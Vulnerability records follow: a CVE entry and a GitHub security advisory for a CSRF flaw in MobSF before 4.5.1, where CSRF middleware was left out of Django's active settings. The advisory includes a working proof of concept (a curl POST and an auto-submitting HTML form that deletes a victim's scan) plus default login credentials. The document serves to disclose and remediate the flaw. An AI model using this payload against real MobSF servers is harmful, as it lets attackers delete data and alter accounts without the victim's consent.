{
  "affected": [
    {
      "affectedData": [
        {
          "product": "Mobile-Security-Framework-MobSF",
          "vendor": "MobSF",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 4.5.1"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "MobSF is a mobile application security testing tool used. Prior to 4.5.1, mobsf/MobSF/settings.py places django.middleware.csrf.CsrfViewMiddleware only in the deprecated MIDDLEWARE_CLASSES setting and omits it from the active MIDDLEWARE tuple, allowing a remote attacker to make a logged-in victim submit cross-site POST requests to authenticated web endpoints including /delete_scan/, /upload/, /download_scan/, /change_password/, /create_user/, and /delete_user/. This can delete scans, upload or download applications, change passwords, or manage users with the victim account permissions. This issue is fixed in version 4.5.1."
    }
  ],
  "id": "CVE-2026-68923",
  "lastModified": "2026-08-18T18:19:28.053",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 6.5,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-08-18T18:19:28.053",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/commit/62563ca429a75b3e5d47a13b958e1d2e7d5e2bbf"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/2627"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/releases/tag/v4.5.1"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/security/advisories/GHSA-3p54-567p-2wpr"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-352"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mobsf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-68923"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-18T18:01:13Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nDjango\u0027s `CsrfViewMiddleware` exists only in the deprecated `MIDDLEWARE_CLASSES` (ignored since Django 2.0). The active `MIDDLEWARE` tuple does not include it. All authenticated web POST endpoints (delete scan, upload, download APK, change password, manage users) accept requests without CSRF tokens.\n\n### Verified Impact\n\nThis was verified by **actually deleting a real scan** from the running server using only a session cookie \u2014 no CSRF token was required:\n\n```\n$ curl -s -b cookies.txt -X POST \"http://127.0.0.1:8000/delete_scan/\" \\\n    -d \"md5=68e76627798d62555d5287f4488a32c7\u0026scan_type=apk\"\n{\"deleted\": \"yes\"}\n```\n\nThe scan was removed from the database. This attack works from any website via HTML form auto-submission because:\n- **No CSRF token is validated** (middleware absent)\n- **Cookie `SameSite=Lax`** allows form-based top-level navigation to send the session cookie\n\n### Affected Component\n\n```\nFile: mobsf/MobSF/settings.py (Lines 206-212)\n\nMIDDLEWARE = (\n    \u0027mobsf.MobSF.views.api.api_middleware.RestApiAuthMiddleware\u0027,\n    \u0027django.contrib.sessions.middleware.SessionMiddleware\u0027,\n    \u0027django.contrib.auth.middleware.AuthenticationMiddleware\u0027,\n    \u0027django.contrib.messages.middleware.MessageMiddleware\u0027,\n    # MISSING: \u0027django.middleware.csrf.CsrfViewMiddleware\u0027\n)\n```\n\n### Steps to Reproduce\n\n**1.** Start MobSF v4.4.6 and log in at `http://127.0.0.1:8000/login/` (creds: `mobsf/mobsf`).\n\n**2.** Upload and scan any APK to create a scan entry. Note the MD5 hash from \"Recent Scans\".\n\n**3.** Open the following HTML file in the **same browser** (simulates visiting attacker\u0027s page):\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\u003ctitle\u003eInnocent Page\u003c/title\u003e\u003c/head\u003e\n\u003cbody\u003e\n\u003ch1\u003eLoading...\u003c/h1\u003e\n\u003cform id=\"f\" method=\"POST\" action=\"http://127.0.0.1:8000/delete_scan/\"\u003e\n  \u003cinput type=\"hidden\" name=\"md5\" value=\"PUT_REAL_MD5_HASH_HERE\" /\u003e\n  \u003cinput type=\"hidden\" name=\"scan_type\" value=\"apk\" /\u003e\n\u003c/form\u003e\n\u003cscript\u003edocument.getElementById(\u0027f\u0027).submit();\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n**4.** The scan is deleted. Navigate back to MobSF \"Recent Scans\" to confirm it\u0027s gone.\n\n### Why This Is Not a Self-Bug\n\n- The attack requires a **victim user** who is logged in to visit an attacker-controlled page\n- The attacker crafts the form targeting the victim\u0027s MobSF instance\n- All destructive POST endpoints are affected: `/delete_scan/`, `/upload/`, `/download_scan/`, `/change_password/`, `/create_user/`, `/delete_user/`\n- This matches the pattern of previously accepted MobSF advisories (e.g., GHSA-5jc6-h9w7-jm3p, GHSA-8m9j-2f32-2vx4)\n\n### Remediation\n\nAdd `\u0027django.middleware.csrf.CsrfViewMiddleware\u0027` to the active `MIDDLEWARE` tuple.",
  "id": "GHSA-3p54-567p-2wpr",
  "modified": "2026-08-18T18:01:14Z",
  "published": "2026-08-18T18:01:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/security/advisories/GHSA-3p54-567p-2wpr"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/2627"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/commit/62563ca429a75b3e5d47a13b958e1d2e7d5e2bbf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/releases/tag/v4.5.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "MobSF\u0027s CSRF checks not enforced after Django migration"
}